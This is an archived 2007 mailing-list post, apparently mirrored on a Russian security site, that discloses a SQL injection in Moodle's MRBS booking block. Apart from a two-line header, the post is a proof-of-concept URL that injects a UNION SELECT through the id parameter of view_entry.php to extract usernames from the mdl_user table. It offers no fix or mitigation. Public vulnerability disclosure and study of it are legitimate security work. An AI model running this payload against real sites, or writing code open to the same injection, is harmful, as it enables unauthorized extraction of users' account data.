Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY LINKS NEWS MAN DOCUMENTATION

<< Previous INDEX Search src / Print Next >>

Date: 21 Dec 2007 10:04:31 -0000
From: [email protected]
To: [email protected]
Subject: Moodle SQL Injection
X-Virus-Scanned: antivirus-gw at tyumen.ru

Moodle.org

PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=[SQL]&day=27&month=10&year=2007

And a POC:
PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007

<< Previous INDEX Search src / Print Next >>

Партнёры:

Хостинг: